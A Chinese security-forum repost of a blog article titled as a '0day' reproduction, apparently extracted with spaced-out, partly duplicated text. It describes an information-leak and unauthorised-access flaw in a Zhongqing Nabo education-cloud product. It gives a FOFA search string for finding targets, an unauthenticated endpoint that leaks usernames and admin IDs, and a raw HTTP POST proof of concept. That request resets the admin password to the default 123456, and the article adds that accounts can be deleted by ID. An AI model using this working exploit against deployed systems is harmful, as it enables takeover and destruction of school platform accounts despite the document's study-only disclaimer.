搜索

[7632] 2021-07-09_漏洞复现（0day通用）中庆纳博某系统敏感信息泄露+未授权

文档创建者：s7ckTeam
浏览次数：31
最后更新：2025-01-17
2021-07-09_漏洞复现（0day通用）中庆纳博某系统敏感信息泄露+未授权 漏 洞 复 现   |   （ 0 d a y 通 用 ） 中 庆 纳 博 某 系 统 敏 感 信 息 泄 露 + 未 授 权 原 创   A G O N I   F 1 2 s e c   2 0 2 1 - 0 7 - 0 9 收 录 于 话 题   # 漏 洞 复 现   , 1 1 个 这 是 这 是 F 1 2 s e c 的 第 的 第 6 2 篇 原 创 篇 原 创   申 明 申 明 ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 切 勿 用 于 其 它 用 途 ！ ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 切 勿 用 于 其 它 用 途 ！ p s ： ： 此 此 0 d a y 由 团 队 师 傅 由 团 队 师 傅 A G O N I 贡 献 ， 转 载 请 注 明 来 源 。 贡 献 ， 转 载 请 注 明 来 源 。 1 . 漏 洞 背 景 漏 洞 背 景 北 京 中 庆 纳 博 信 息 技 术 有 限 公 司 ， 简 称 中 庆 纳 博 ， 是 有 2 0 年 历 史 的 中 庆 集 团 旗 下 核 心 企 业 ， 专 注 于 教 育 信 息 化 的 深 度 应 用 领 域 。 产 品 以 教 育 软 件 为 主 ， 核 心 产 品 为 “ 中 庆 教 育 云 ” 平 台 。 公 司 成 立 三 年 多 来 ， 客 户 已 遍 及 全 国 各 地 ， “ 中 庆 教 育 云 ” 亦 成 为 业 内 的 知 名 品 牌 。 2 . f o f a 语 法 语 法 f o f a 语 法 ： " 中 庆 纳 博 " 3 . 漏 洞 利 用 漏 洞 利 用 h t t p : / / x x x x x x / a p i / T e a c h e r Q u e r y / S e a r c h T e a c h e r I n S i t e W i t h P a g e r R e c o r d s 访 问 此 链 接 ， 可 以 看 见 泄 露 用 户 名 ， 以 及 管 理 i d 。 然 后 可 以 通 过   用 户 名 重 置 密 码 为 默 认 密 码 1 2 3 4 5 6
p o c 如 下   ： — — — — — — — — — — — — — — — — — — — — — — — — — — 往 期 精 彩 推 荐 往 期 精 彩 推 荐 实 战   |   记 一 次 基 本 的 e d u 漏 洞 挖 掘 经 验 分 享   |     文 件 上 传 个 人 b y p a s s 总 结 经 验 分 享   |   m s s q l 注 入 实 战 总 结 之 狠 快 准 绕 ❤ ❤ 爱 心 三 连 击 爱 心 三 连 击 1 . 关 注 公 众 号 「 「 F 1 2 s e c 」 」 ！ 2 . 本 文 已 收 录 在 F 1 2 s e c 官 方 网 站 ： h t t p : / / w w w . 0 d a y h a c k . n e t / 3 . 看 到 这 里 了 就 点 个 关 注 支 持 下 吧 ， 你 的 「 关 注 」 「 关 注 」 是 我 创 作 的 动 力 。 公 众 号 ： F 1 2 s e c Q Q 群 ： 8 8 4 3 3 8 0 4 7 官 方 网 站 ： h t t p : / / w w w . 0 d a y h a c k . n e t / P O S T   / a p i / U s e r / R e s e t P a s s w o r d   H T T P / 1 . 1 H o s t :   x x x x x x x x x x U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 8 9 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 8 9 . 0 A c c e p t :   a p p l i c a t i o n / j s o n ,   t e x t / p l a i n ,   / A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n ; c h a r s e t = u t f - 8 C o n t e n t - L e n g t h :   2 3 O r i g i n :   h t t p : / / 1 1 7 . 3 6 . 1 5 4 . 3 4 : 8 0 1 0 D N T :   1 C o n n e c t i o n :   c l o s e R e f e r e r :   h t t p : / / x x x x x x x x / d e f a u l t / a d m i n / u s e r / i n d e x { " l o g i n N a m e " : " a d m i n " } 也 可 以 通 过   i d 删 除 账 户
这 是 一 个 终 身 学 习 的 团 队 ， 他 们 在 坚 持 自 己 热 爱 的 事 情 ， 欢 迎 加 入 F 1 2 s e c ， 和 师 傅 们 一 起 开 心 的 挖 洞 ～                 关 注 和 转 发 是 莫 大 鼓 励 ❤
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理